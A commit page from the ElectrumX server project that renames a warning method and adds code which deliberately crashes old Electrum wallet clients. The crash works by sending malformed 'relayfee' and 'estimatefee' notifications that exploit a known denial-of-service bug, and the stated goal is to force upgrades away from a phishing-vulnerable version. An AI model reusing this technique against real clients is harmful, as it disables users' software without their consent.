Browse Source

crash old clients (#760)

* rename method "upgrade_required"

* attempt to crash old clients to force users to upgrade

On the BTC chain, exploit a DOS vulnerability in old Electrum clients,
to kill their network thread and make them unusable. This should force
users of old clients that are vulnerable to the transaction-broadcast
phishing attack to upgrade their client.
patch-2
ghost43 6 years ago
committed by Neil
parent
commit
bdea2b2b06
  1. 15
      electrumx/lib/coins.py
  2. 20
      electrumx/server/session.py

15
electrumx/lib/coins.py

@ -47,7 +47,8 @@ import electrumx.lib.tx_dash as lib_tx_dash
import electrumx.server.block_processor as block_proc
import electrumx.server.daemon as daemon
from electrumx.server.session import (ElectrumX, DashElectrumX,
SmartCashElectrumX, AuxPoWElectrumX)
SmartCashElectrumX, AuxPoWElectrumX,
BitcoinSegwitElectrumX)
Block = namedtuple("Block", "raw header transactions")
@ -268,7 +269,7 @@ class Coin(object):
return h
@classmethod
def upgrade_required(cls, client_ver):
def warn_old_client_on_tx_broadcast(cls, client_ver):
return False
@ -405,7 +406,7 @@ class BitcoinCash(BitcoinMixin, Coin):
BLOCK_PROCESSOR = block_proc.LTORBlockProcessor
@classmethod
def upgrade_required(cls, client_ver):
def warn_old_client_on_tx_broadcast(cls, client_ver):
if client_ver < (3, 3, 4):
return ('<br/><br/>'
'Your transaction was successfully broadcast.<br/><br/>'
@ -419,6 +420,7 @@ class BitcoinCash(BitcoinMixin, Coin):
class BitcoinSegwit(BitcoinMixin, Coin):
NAME = "BitcoinSegwit"
DESERIALIZER = lib_tx.DeserializerSegWit
SESSIONCLS = BitcoinSegwitElectrumX
MEMPOOL_HISTOGRAM_REFRESH_SECS = 120
TX_COUNT = 318337769
TX_COUNT_HEIGHT = 524213
@ -439,7 +441,7 @@ class BitcoinSegwit(BitcoinMixin, Coin):
]
@classmethod
def upgrade_required(cls, client_ver):
def warn_old_client_on_tx_broadcast(cls, client_ver):
if client_ver < (3, 3, 3):
return ('<br/><br/>'
'Your transaction was successfully broadcast.<br/><br/>'
@ -614,7 +616,7 @@ class BitcoinCashTestnet(BitcoinTestnetMixin, Coin):
BLOCK_PROCESSOR = block_proc.LTORBlockProcessor
@classmethod
def upgrade_required(cls, client_ver):
def warn_old_client_on_tx_broadcast(cls, client_ver):
if client_ver < (3, 3, 4):
return ('<br/><br/>'
'Your transaction was successfully broadcast.<br/><br/>'
@ -638,6 +640,7 @@ class BitcoinSegwitTestnet(BitcoinTestnetMixin, Coin):
'''Bitcoin Testnet for Core bitcoind >= 0.13.1.'''
NAME = "BitcoinSegwit"
DESERIALIZER = lib_tx.DeserializerSegWit
SESSIONCLS = BitcoinSegwitElectrumX
PEERS = [
'electrum.akinbo.org s t',
'he36kyperp3kbuxu.onion s t',
@ -649,7 +652,7 @@ class BitcoinSegwitTestnet(BitcoinTestnetMixin, Coin):
]
@classmethod
def upgrade_required(cls, client_ver):
def warn_old_client_on_tx_broadcast(cls, client_ver):
if client_ver < (3, 3, 3):
return ('<br/><br/>'
'Your transaction was successfully broadcast.<br/><br/>'

20
electrumx/server/session.py

@ -1119,6 +1119,7 @@ class ElectrumX(SessionBase):
# that protocol version in unsupported.
ptuple, client_min = util.protocol_version(
protocol_version, self.PROTOCOL_MIN, self.PROTOCOL_MAX)
await self.maybe_attempt_to_crash_old_client(ptuple)
if ptuple is None:
if client_min > self.PROTOCOL_MIN:
self.logger.info(f'client requested future protocol version '
@ -1131,6 +1132,9 @@ class ElectrumX(SessionBase):
return (electrumx.version, self.protocol_version_string())
async def maybe_attempt_to_crash_old_client(self, proto_ver):
return
async def transaction_broadcast(self, raw_tx):
'''Broadcast a raw transaction to the network.
@ -1148,7 +1152,7 @@ class ElectrumX(SessionBase):
self.txs_sent += 1
client_ver = util.protocol_tuple(self.client)
if client_ver != (0, ):
msg = self.coin.upgrade_required(client_ver)
msg = self.coin.warn_old_client_on_tx_broadcast(client_ver)
if msg:
self.logger.info(f'sent tx: {hex_hash}. and warned user to upgrade their '
f'client from {self.client}')
@ -1555,3 +1559,17 @@ class AuxPoWElectrumX(ElectrumX):
height += 1
return headers.hex()
class BitcoinSegwitElectrumX(ElectrumX):
async def maybe_attempt_to_crash_old_client(self, proto_ver):
client_ver = util.protocol_tuple(self.client)
is_old_protocol = proto_ver is None or proto_ver <= (1, 2)
is_old_client = client_ver != (0,) and client_ver < (3, 2, 4)
if is_old_protocol and is_old_client:
self.logger.info(f'attempting to crash old client with version {self.client}')
# this can crash electrum client 2.6 <= v < 3.1.2
await self.send_notification('blockchain.relayfee', ())
# this can crash electrum client (v < 2.8.2) UNION (3.0.0 <= v < 3.3.0)
await self.send_notification('blockchain.estimatefee', ())

Loading…
Cancel
Save